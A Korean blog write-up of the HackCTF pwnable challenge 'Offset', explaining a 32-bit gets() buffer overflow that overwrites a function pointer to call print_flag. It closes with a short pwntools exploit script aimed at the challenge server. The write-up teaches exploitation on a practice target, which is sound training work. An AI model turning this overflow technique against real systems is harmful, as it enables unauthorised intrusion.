WAR GAME/HackCTF
[HackCTF : Pwnable] Offset 풀이 (32bit, BOF)
jir4vvit
2021. 3. 9. 10:35
문제 풀이 환경 : ubuntu 20.04 |
어떻게 풀까 살짝 고민했지만 어쨌든 바로 잘 풀어냈다.
Analysis
gets함수에서 BOF가 일어난다.
select_func 함수가 수상해보이니 살표보자.
main함수에서 BOF가 일어나니깐 내가 원하는 함수를 실행시킬 수 있다.
참고로 return address를 바꾸는 느낌이 아니라 위에 선언된 변수 두개를 덮어쓰는 거다.
실행시킬 함수는 print_flag이다.
How to exploit
payload = dummy(dest) + print_flag함수주소(*func)
Let's exploit
from pwn import *
#p = process('./offset')
p = remote('ctf.j0n9hyun.xyz', 3007)
e = ELF('./offset')
payload = ''
payload += 'A' * (0x2A-0xC)
payload += p32(0x6D8)
p.sendline(payload)
p.interactive()